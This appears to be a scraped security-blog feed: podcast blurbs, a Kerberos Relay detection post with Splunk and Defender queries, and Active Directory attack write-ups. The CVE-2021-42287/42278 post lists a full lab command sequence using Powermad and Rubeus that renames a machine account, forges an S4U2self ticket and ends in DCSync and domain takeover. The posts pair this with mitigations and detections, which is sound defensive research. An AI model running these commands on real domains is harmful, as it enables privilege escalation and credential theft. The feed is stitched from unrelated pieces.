0xffffffc0052c5a30:     0x0000000000000000 0x0000000000000000

Instead of just print the content, you can simulate a UAF read/write using k[read|write] and play with it.

The full code of this example can be found in client/example/02.c


To compile the module change the K variable in the Makefile with your compiled kernel root directory and compile with make, then insmod.


Personally, I used it to study the SLUB allocator, understand UAF/Heap Overflows/Double Free/userfaultd and some hardening features in the kernel, but it can assist the exploitation phase too or more. Blog posts on some Kernel vulnerabilities and their attack methodologies will follow these months and this module will come useful to demonstrate them. So, stay tuned and enjoy !

PS. The “Execute” part of the name will be a future implementation to control pc/rip.

0 0 %
0 0 %
1 100 %
0 0 %
0 0 %
0 0 %

Intigriti XSS Challenge – December 2021

27 December 2021 at 14:33
%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94% B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83, which is the url encoded value for

Cybersecurity jobs: How to better apply, get hired and fill open roles | Cyber Work Podcast

13 June 2022 at 07:00
By: Infosec

Diana Kelley returns to the show to discuss her work as a board member of the Cyber Future Foundation and the goings-on at this year’s Cyber Talent Week. Whether you’re a cybersecurity hiring manager who doesn’t know why you’re not getting the applicants you want, a candidate who hears the profession has 0% unemployment but still can’t seem to get a callback or anyone in between, DO. NOT. MISS. THIS. EPISODE. This is one for the books, folks.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Cybersecurity hiring and job searching
4:30 - Diana Kelley of Cyber Future Foundation
9:00 - Cyber Future Foundation talent week
13:58 - Reexamining cybersecurity job descriptions 
21:52 - Cybersecurity hiring manager and applicant training
27:10 - Strategies to bring in diverse talent from other industries
33:06 - Narrowing your cybersecurity job pursuit
39:37 - Using different educations in cybersecurity roles
41:32 - Implementing an educational pipeline
44:40 - Hiring based on strong skills from other trades
48:22 - Cybersecurity apprenticeships 
53:22 - Fostering cybersecurity community value 
59:09 - Diana Kelley's future projects
1:00:30 - Outro

Avoiding B.A.D. behaviour

11 June 2022 at 22:00
The difficult relationship between nihilism, cybersecurity professionals and Being-A-Dick behaviour - Disclaimer: if you are looking for a strictly technical article, the ones I usually write, you will be disappointed. This blogpost is mainly my two cents on the way we, cybersecurity professionals, usually deal with situations, organizations and people, both techies and non-techies. Introduction A few days ago, I was...

Ethical user data collection and machine learning | Cyber Work Podcast

6 June 2022 at 07:00
By: Infosec

Today on Cyber Work Ché Wijesinghe of Cape Privacy talks about the safe and ethical collection of user data when creating machine learning or predictive models. When your bank is weighing whether to give you a loan, they can make a better choice the more info they know about you. But how secure is that contextual data? Hint: not as secure as Wijesinghe would like!

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Machine learning and data collection
2:37 - Getting started in cybersecurity
3:15 - Being drawn to big data
4:35 - What data is driving decision-making?
9:04 - How is data collection regulated?
15:02 - Closing the encryption gap
16:50 - Careers in data privacy
19:07 - Where can you move from data privacy?
21:20 - Ethics of data collection 
23:25 - Learn more about Wijesinghe 
23:55 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

EDR Bypass : How and Why to Unhook the Import Address Table

27 May 2022 at 09:33
By: Author
One day, I was trying to bypass an EDR and I noticed something interesting. The EDR I was trying to bypass wasn’t hooking the DLL in their code with jmp instruction like other EDRs in user-land. In this case, it was hooking directly the Import Address Table. This technique makes the usual move like live-patching, or erasing the loaded DLL with one freshly loaded from disk useless. I had to unhook the Import Address Table of my process.

Working as a privacy manager | Cybersecurity Career Series

23 May 2022 at 07:00
By: Infosec

A Privacy Manager is responsible for the development, creation, maintenance and enforcement of the privacy policies and procedures of an organization. They ensure compliance with all privacy-related laws and regulations. The Privacy Manager takes an active lead role when a privacy incident or data breach occurs and will start the investigation. They will then monitor, track and resolve any privacy issues. The Privacy Manager builds a strategic and comprehensive privacy program for their organization that minimizes risk and ensures the confidentiality of protected information.

Advanced knowledge of privacy law and data protection is critical to success in this role.

Learn more: https://www.infosecinstitute.com/role-privacy-manager/

0:00 - Working as a privacy manager
0:40 - What does a privacy manager do? 
3:02 - Experience a privacy manager needs
5:15 - Is college necessary for a privacy manager?
8:05 - Skills needed to be a privacy manager
10:30 - What tools does a privacy manager use?
11:15 - Where do privacy managers work? 
12:15 - Roles privacy managers can move to
13:30 - How do I get started becoming a privacy manager?

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

What does a cybersecurity beginner do? | Cybersecurity Career Series

16 May 2022 at 07:00
By: Infosec

Just getting started?  This role is for you!

The Cybersecurity Beginner role focuses on the foundational skills and knowledge that will allow anyone to take the first step towards transitioning into a cybersecurity career.  No prior knowledge of cybersecurity or work experience is required. The only prerequisite is a passion for technology and cybersecurity.

Learn more here: https://www.infosecinstitute.com/role-cybersecurity-beginner/

0:00 - Working as a cybersecurity beginner
0:41 - Tasks a cybersecurity beginner may take on
4:15 - Cybersecurity work imposter syndrome
5:49 - Common tools cybersecurity beginners use
9:08 - Jobs for cybersecurity beginners
13:50 - Get started in cybersecurity 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.


13 May 2022 at 22:00
Quick primer on how to setup and use dnscat2 - dnscat2 uses a client server architecture to tunnel traffic via UDP and/or DNS queries. It can be used to bypass firewalls and execute commands on the machine running the client. It can also be used to to tunnel traffic from the server to the internal network of the client through...

Defending the Three Headed Relay

9 May 2022 at 22:57
By: 0xe7

A joint blog written by Andrew Schwartz, Charlie Clark, and Jonny Johnson


For the past couple of weeks it has become apparent that Kerberos Relaying has set off to be one of the hottest topics of discussion for the InfoSec community. Although this attack isn’t new and was discovered months ago by James Forshaw, it has recently taken off because a new tool called KrbRelayUp has come to surface that takes James’ work and automates that process for anyone wanting to exploit this activity. This tool however doesn’t only exploit James’ work, but also work from Elad Shamir around S4U2Self/S4U2Proxy, while using code from Rubeus by Will Schroeder. We as a group (Andrew, Charlie, and Jonny) found this interesting as we saw many detections coming out for “Kerberos Relay” that might not actually detect “Kerberos Relay” if the action was performed by itself, but more of post-exploitation actions — say in the S4U activity.

During this blog post we will take a look into Kerberos Relay, break out the different attack paths one could take, and talk about the different defensive opportunities tied to this activity and other activities leading up to Kerberos Relay or after.

Kerberos Relay Explained

Kerberos relaying was described in detail in James Forshaws blog post “Using Kerberos for Authentication Relay Attacks”. The primary focus of Kerberos relaying is to intercept an AP-REQ and relay it to the service specified within the service principal name (SPN) used to request the service ticket (ST). The biggest discovery within James’ research is that using certain protocols a victim client can be coerced to authenticate to an attacker using Kerberos while allowing an SPN to be specified that differs from the service that the client is connecting to. This means that the client will request a ST for an SPN of the attacker’s choosing, create an AP-REQ containing that ST and send it to the attacker. The attacker can then forward this AP-REQ to the target service, disregard the resulting AP-REP (unless the attacker needs to relay this back to the client for some reason) and at this point establish an authenticated session as the victim client.

While there are other potential ways Kerberos relaying can happen, (ie. like man-in-the-middle (MITM) attacks), the primary focus of this post will be on coercing a client to authenticate to the attacker as the method of receiving the AP-REQ. The process is essentially as follows:

Attacker coerces victim client auth with target service SPN -> client requests ST to SPN specified -> client sends AP-REQ to attacker -> attacker extracts AP-REQ sends to target service -> attacker establishes session as victim client

There are some caveat’s to this process. The first being protections enabled on the target service. As with NTLM relaying, if the target service has signing/sealing or channel binding enforced, relaying Kerberos authentication will not work. The second caveat is the protections supported by the client. With some target protocols, if the client indicates support for certain protections, the server will enable those protections, again making Kerberos relaying not possible without some other bug in the implementation.

Potential Attack Paths with Kerberos Relay

There are several potential attack paths that Kerberos relaying allows for. Many of these were documented by James in his initial blog post. As alluded to previously, there are 2 main considerations when discussing Kerberos relaying attack paths:

  1. The protocol used to trigger the authentication from the victim client
  2. The protocol used by the service the authentication is being relayed to

Trigger Protocol

As discussed, the main requirement for the trigger protocol is the ability for the attacker to specify an arbitrary SPN, or at least a partially attacker controlled SPN, when triggering the authentication. Protocols known to potentially have this requirement are:

  • IPSec and AuthIP
  • DCOM
  • HTTP
  • MDNS

Service Protocol

Depending on the protections enabled on the server, the following protocols are known to be target service protocols for Kerberos relaying:

  • HTTP
  • SMB

Potentially many combinations of these protocols could be used as attack paths for Kerberos relaying. This presents many attack paths, for instance, relaying to an LDAP server could allow for modification of LDAP objects or relaying to an AD CS HTTP web enrolment endpoint could allow for requesting an authentication certificate.

Detecting Kerberos Relay

Before diving straight into detections, queries, and indicators of activity for these behaviors we think it is important to touch on what we are looking at for detection and why. It is fairly easy to take a tool that performs some behavior then immediately go look at the logs to see what telemetry exists. This isn’t a terrible approach, it just isn’t the only one and not the one we take.

We (Charlie, Andrew, and Jonny) like to approach this detection piece a little differently by breaking up a tool’s capability, understanding what it is trying to accomplish, understanding the technologies tied to an attack and their capabilities, and identifying what actions (if any) apply to other techniques. We then like to find the core behavior the attack is built on and identify what pieces of that action is or can be controlled by an attacker. This process helps us identify which behaviors are explicitly tied to the attack and which might relate to an action that was performed prior to the attack or after. One thing we don’t want to do is create detection explicitly tied to the tool, but to the attack. We are using the tool as a starting point of understanding the attack and the various variants an attacker may take to accomplish these actions.

That being said, every attack will have a pre, intra, and post action. These actions are extracted during the research process and help us scope what capabilities we are trying to detect. Let us explain.

In order for an attack to be run, an attacker must do something that gives them the ability to perform that action. This could be a number of things, let’s use the following as an example of pre-action activity:

  • Gain access to a domain user
  • Compromise/obtain a foothold on a box
  • Run a LDAP query for reconnaissance
  • Escalate to a local administrator/High IL

You then have the actual attack (intra-action):

  • Kerberoast
  • Dump LSASS
  • Access Token Impersonation

Finally, the attacker is going to do something with whatever output the attack gives them — being the post-action:

  • Logs on as user
  • Impersonates user

Here is a visual representation of this:

This allows us to apply a detection layering approach when creating detections for these behaviors because there is going to be something within the pre-action that we can relate to the intra-action, and similarly the intra-action to the post-action. Due to this we can change the diagram up a little bit:

As you can probably tell by now, every post-action leads into a pre-action. It restarts the attack flow. We see this below with Kerberos Relay. One potential post-action is to perform S4U2Self/S4U2Proxy. Kerberos Relay has now become a pre-action to this activity and a post-action could be that an attacker is using that ability to login, talk to the SCM to create a service and run a process as SYSTEM.

If we just run the attack and look directly at the logs it is easy to start making assumptions. So before we run the attack we can break out what we are looking for, then go look for it. This allows us to truly understand what layer we are applying a detection, which inherently will help us understand what level of coverage we have.

We can now apply this to Kerberos Relay in the next section.

Detection Queries

Some of the attacks within the pre/intra/post actions were applied due to how KrbRelayUp was exploiting this activity. The attacker doesn’t always have to take these exact paths and some of the specifics may change, for example — below we show a detection for the COM server initialization/TCP connection. An attacker could use a different protocol like HTTP/LDAP. Although we didn’t create queries for each one of these scenarios we wanted to share the different pre/intra/post-action detections someone could create.

Pre-Kerberos Relay Detections:

  • Initial domain user foothold (No detection added as there are so many options)
  • LDAP queries to identify potential SPNs available
  • Computer account added via LDAP (Using Microsoft Defender for Endpoint DeviceEvents)
| where ActionType containsLdapSearchand (InitiatingProcessParentFileName !has (“services.exe”) or InitiatingProcessAccountName !in (“local service”, “system”))
| extend SearchFilter= extractjson(“$.SearchFilter”, AdditionalFields)
| where SearchFilter containssAMAccountNameand SearchFilter contains “$”
| summarize count() by Timestamp, InitiatingProcessAccountName,InitiatingProcessParentFileName, InitiatingProcessFileName, SearchFilter, InitiatingProcessCommandLine, AdditionalFields, InitiatingProcessLogonId

Note: This query was created via MDE and will look for when a computer account is created via LDAP, for this attack this is totally optional. To perform this specific attack path, the attacker only requires the credentials of any computer object or a user object with an SPN. There are many other ways to potentially obtain one.

  • Computer Account added via Splunk and Window Security Event ID 4741:
index=windows sourcetype=Security EventCode=4741 AND SAM_Account_Name = “*$”

Going a step further would be to correlate the 4741 with Windows Security Event ID 4673. As Andrew wrote in his post the event details in 4673 contain the four (4) SPN’s that are also created when a computer account is created with certain attack tools (in their present state as of writing this post). Kevin Robertson first blogged about the 4 SPN’s being generated in his post, “MachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory’s Oddest Settings.” Many publicly available Open Source Tools (OSTs) incorporate the same 4 SPNs into their tooling.

index=windows (EventCode=4741 MSADChangedAttributes=*(*HOST/*) AND *(*RestrictedKrbHost/*) New_UAC_Value=0x80) OR (EventCode=4673 Privileges=SeMachineAccountPrivilege) 
| eventstats values(Process_Name),values(Privileges),values(EventCode) as EventCode by Logon_ID 
| search EventCode=4741
| rex field=_raw “(Message=(?<Message>[a-zA-z ].*))” 
| eval datetime=strftime(_time, “%m-%d-%Y %H:%M:%S.%Q”) 
| stats count values(datetime),values(Process_Name),values(Privileges),values(EventCode),values(MSADChangedAttributes),values(Message),values(Account_Domain),values(Security_ID),values(SAM_Account_Name),values(DNS_Host_Name) by Logon_ID 
| search count >=2 
| rename values(*) as * 
| eval Effecting_Account=mvindex(Security_ID,1) 
| eval New_Computer_Account_Name=mvindex(Security_ID,0) 
| table datetime,Account_Domain,Effecting_Account,Logon_ID,New_Computer_Account_Name,DNS_Host_Name,Message,MSADChangedAttributes,Process_Name,Privileges,EventCode

Intra-Kerberos Relay Detections:

  • DCOM Server connection with TCP connection to localhost (Using Splunk and Window Security Event ID 5156):
index=windows sourcetype=Security EventCode=5156 Direction=Inbound AND Source_Address=::1 AND Destination_Address=::1 AND Process_ID !=4 AND Protocol=6

Post-Kerberos Relay Detections:

  • RBCD Exploitation (Using Splunk and Window Security Event ID 5136/4768/4769)
index=windows sourcetype=”Security” ((EventCode=5136 AND “msDS-AllowedToActOnBehalfOfOtherIdentity”) AND (Type=”Value Added” OR Type=”Value Deleted”)) OR EventCode=4768 OR EventCode=4769 
| eval alt_type=mvindex(Type,2) 
| eval datetime=strftime(_time, “%m-%d-%Y %H:%M:%S.%Q”) 
| bucket _time span=11m
| stats dc(EventCode) as eventcodes,values(EventCode),values(datetime),values(LDAP_Display_Name),values(host),values(Account_Domain),values(Client_Address),values(Service_Name),values(Service_ID),values(Ticket_Options),values(Class),values(Ticket_Encryption_Type),values(alt_type) by _time 
| rename values(*) as *
| where eventcodes >=3
| table _time,datetime,host,Account_Domain,Client_Address,Service_Name,Service_ID,Ticket_Options,Ticket_Encryption_Type,Class,LDAP_Display_Name,alt_type,EventCode,eventcodes

It should be noted that this detection query has limitations given its use of bucket _time span. We employed the use of this time feature as there was not an easy way (i.e. by Logon ID) to correlate the three events. The only common variable we discovered between these three different events observed was time, specifically all within a 15 second window. While this query worked in our lab with our specific dataset, we would like to point out that by grouping the events by time in a bucket, events can possibly occur outside the span of the bucket as we don’t know WHEN the event will take place. As such the event could occur in the middle of the bucket or it could be on the “edge.” A thank you to Greg Rivas for helping create the above SPL query.

During the writing of this post the author of KrbRelayUp added support for Shadow Credentials, which performs slightly different post-actions than we have specified above. However; it is good to note that Shadow Credentials is still a post-action potential attack that can be leveraged.


  1. Limit MAQ attribute and/or restrict the SeMachineAccountPrivilege to a specific group rather than Authenticated Users
  2. Extended Protection for Authentication (EPA)/Protocol Signing/Sealing and Channel Binding
  3. Disabling mDNS/LLMNR
  4. Require authenticated IPsec/IKEv2
  5. Disabling Disable NTLM

A thank you to James Forshaw for vocalizing some of these mitigations when introducing this attack.


During this write-up we wanted to give a brief explanation of Kerberos Relay, how this can be exploited, and the various levels of detection/prevention that could be applied. Although we didn’t go over every pre/post-exploitation scenario an attacker could take, we wanted to highlight the importance of thinking about attacks from a pre/intra/post-action perspective. This helps us identify the scope of our detections, which will then allow us to identify at what depth we are applying the detection.

We hope this was helpful and a huge thank you to James Forshaw again for his previous work on this.


  • https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
  • https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
  • https://github.com/Dec0ne/KrbRelayUp
  • https://github.com/cube0x0/KrbRelay

More sAMAccountName Impersonation

11 December 2021 at 19:08
By: 0xe7

So in my excitement to put out the previous post I forgot something and since then I've thought of another attack path that may come in useful for some people.

For these examples I'm using the internal.user account in the internal.zeroday.lab domain, as shown below:

This is just a generic low privileged user.


I did reply to my tweet afterwards, but I thought it'd be best to explain a little more that this works across trusts.

As mentioned in a previous post I did, creating machine accounts across trusts is not only possible but can be incredibly useful. This is another example of that.

A forest trust is configured between the internal.zeroday.lab and external.zeroday.lab forests:

A new machine account (named NewComputer) is created across this trust on the external.zeroday.lab domain:

The SPNs can be cleared from this newly created account:

It's best to get the distinguishedname of the machine account for changing the name:

Lastly, the name can be changed to the same as the domain controller minus the '$':

At this point the attack is exactly the same as the initial example I gave in the original post, ie. request a TGT for EDC1, rename machine account back, perform S4U2self.

User Account

Another example of exploitation involved user account control. 2 more prerequisites are required to perform the attack using a user account, The GenericAll privilege over the user account and access to the account credential. Any user account can be used to perform the attack.

There are several potential ways of obtaining the user account password when you have GenericAll over it, including tageted Kerberoasting from Will Schroeder, Shadow Credentials by Elad Shamir, just resetting the user password and probably more I'm forgetting right now. Point is, I'm not going to go into all of the potential ways you might do this, I'm just going to assume the password has been obtained.

So the user I'm running as (internal.user) has GenericAll over the target user (new.user):

Changing the samaccountname to that of the DC minus the '$' is also possible using PowerView:

The attack from this point is exactly the same as in the original post, I'm not going to duplicate all of that here, you can try it for yourself if you want. Interestingly on patched servers you can rename a user account this way with GenericAll over it, but the S4U2self part fails with KDC_ERR_TGT_REVOKED error due to the new Requestor PAC_INFO_BUFFER being included within the TGT's PAC.

EDIT: Charlie BROMBERG suggested GenericAll isn't actually required and this works with GenericWrite or even WriteProperty on sAMAccountName for changing the samaccountname, but it is important to remember that the ability to request a TGT for this account is required too, so the higher the privileges, the more likely you are to be able to do this.


It is very important that all domain controllers throughout the whole enterprise is patched against these issues due to the impact of exploitation and the ease with which it can be performed.

While more limited, it may still be possible in situations where a machine account cannot be created/controlled or renaming of machine account fails.

CVE-2021-42287/CVE-2021-42278 Weaponisation

9 December 2021 at 23:13
By: 0xe7

So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE's to do with Active Directory that caught a lot of people's eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.

This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.

I just want to highlight that there's no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.

A Little Digging

So immediately upon seeing Cliff's tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT's being issued without PACs. This led me to modify Rubeus to allow for requesting TGT's without a PAC.

After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.

This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.

So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):

As this user we can add ourselves to the altSecurityIdentities attribute as shown below:

Now we can get a TGT from our local DC and request it without a PAC using the new /nopac switch:

This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:

That referral can then be used to request ST's for services on our target domain (external.zeroday.lab). Here I'm requesting a ST for LDAP/EDC1.external.zeroday.lab the DC's LDAP service:

The size of the ST is very large compared to the previous 2 tickets, this is because (as we'll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:

Using this ST, however, we can DCSync:

So what happened here is the DC has searched for the account in the local database, it hasn't found it so it's then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus' describe command and the AES256 key we just DCsync'd:

We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.

This didn't help us exploiting the issue we wanted but I did find it interesting.

Some Progress

Then along came this tweet from Clément Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:

Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.

Suddenly I realised that to make the local lookup fail, we didn't need to attack a foreign domain but perhaps remove the account after retrieving the TGT.

I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.

When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:

The U2U ST should be encrypted with the session of within the provided TGT but as I didn't provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):

It worked! It sucessfuly decrypted the ST, it just couldn't find the PAC because there wasn't one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it's key instead.

At that time I still couldn't figure out why it wasn't adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.

The sname of that resulting ST can be modified as per Alberto Solino's post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.

The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson's amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:

As Kevin mentions in his post:

If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.

So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.

Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.

Finally all of the pieces were in place.

Checking If Exploitable

To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.

To determine if a DC is patched is very easy. Using my additional /nopac switch to Rubeus' asktgt, request a TGT without a PAC, if the DC is vulnerable it'll look like the following:

Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:

The size difference is immediately obvious. The next thing to check would be the MAQ:

By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:

If everything checks out, we can exploit this issue.

The Full Attack

The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin's Powermad works nicely for this:

After this, PowerView's Set-DomainObject can be used to clear the SPNs from the machine account:

Changing the machine account's samaccountname can be done using Powermad's Set-MachineAccountAttribute (Here I'm changing it to IDC1, because the DC's samaccountname is IDC1$):

Rubeus' asktgt can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it's new samaccontname):

Set-MachineAccountAttribute can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn't matter):

With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key, at the same time we can rewrite the sname within the ticket to be the LDAP service:

Here, I've impersonated the Administrator user for the LDAP service on the DC. It's worth noting that this could be any user on any service on any system on the domain.

The ticket has been sucessfully injected into LSA as shown below:

Using that ticket it is now possible to DCSync:

The commands I run to do this are shown below:

# Create Machine Account
New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose

# Clear SPNs
Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose

# Request TGT
.\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

# Request S4U2self
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]

Mitigation / Detection

The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.

Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.

There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.

Machine Account Creation

Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of “A Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers” By: Jonathan Johnson:

Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:

As well as a 4741 event, describing the creation of the machine account:

And a 4724 event, regarding the password reset of the newly create machine account:

Clearing The SPNs

Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show for the Service Principal Names field, as shown below:

Changing the SamAccountName

A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:

More interestingly, a 4781 event will show both the old account name and the new account name:


When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:

Then the account name change happens again with the 2 events mentioned above.


Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):


With the November 9th updates, many changes were made to AD and I wouldn't be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.

Ensuring all DC's are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.

On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.

Another Delegation Edge Case

17 May 2021 at 16:43
By: 0xe7

While coding the cross domain S4U into Rubeus I only really considered the situation where the user that was to be impersonated was in the target/foreign domain, but not if the user was in the source/local domain. After looking at how the process of requesting delegation worked when impersonating a user on the local domain, I decided to write this post detailing how it works and when it might be useful.

The information in this post is reasonably complex and I won't be going over previous work on how S4U works, the best places to see this is probably the Microsoft Documentation and Elad Shamir's post. It might also be helpful to check out my original post on cross domain S4U if you haven't already.

So let's get to it.

The Standard Process

I've created a diagram for showing how these tickets are requested when the OS performs this type of delegation:

This can understandably look a little intimidating, so let's break it down:

  1. The service account gets its standard TGT from the local DC, this is nothing interesting and included for the sake of completion. (1 and 2)

  2. The account connects to the service accounts SPN using a standard service ticket, which is forwardable. (3)

  3. The service account uses its TGT to request a referral TGT from the local DC for the foreign domain where the end service resides (krbtgt/Domain2). (4 and 5)

  4. The service account uses its TGT, with the standard service ticket (provided by the connecting account) as an additional ticket, to request a service ticket for the end service SPN from the local DC. This results in what I'm calling a delegated referral TGT for the foreign domain being issued by the local DC. (6 and 7)

  5. The service account uses its referral TGT to request a service ticket for itself for the end service from the foreign DC. (8 and 9)

  6. The service account finally requests the delegated service ticket for the end service as the connecting user account from the foreign DC using the service accounts referral TGT and the delegated referral TGT (obtained in step 4 in this list or 6 and 7 in the image) as an additional ticket. (10 and 11)

From this we can determine that the main thing that is required to impersonate a local account on a service on a foreign domain is a forwardable service ticket from that account.

With this in mind, I decided to try to find a scenario this might be useful in.

The Situation

The following diagram shows the relevant part of the lab setup for this demonstration:

The position we are currently in is we have compromised the low privileged user child.user in the child domain child1.internal.zeroday.lab.

For the sake of simplicity, this user has an SPN set:

There are many ways to obtain an account with an SPN, including creating a machine account, compromising an account with an SPN, adding an SPN to an account you have Write privileges on. The other important thing here is that the user child.user has GenericWrite privileges on the machine account ISQL1 on the parent domain (internal.zeroday.lab):

The last thing to note here is the machine account quota for the parent domain (internal.zeroday.lab) is set to 0:

So there's no creating machine accounts to hop across the trust, as I demonstrated in a previous blog post.

Gaining Access to ISQL1

Due to having GenericWrite privileges on ISQL1 it is possible to configure resource-based constrained delegation (RBCD) to allow ourselves the ability to delegate to it:

At this point child1.internal.zeroday.lab\child.user can delegate to internal.zeroday.lab\ISQL1$.

The first thing we might try is to delegate to an administrative user on the foreign domain (internal.zeroday.lab), internal.admin is a member of the Domain Admins group so might be a good option. Using the Rubeus additions I did here I can try the following command to impersonate internal.admin:

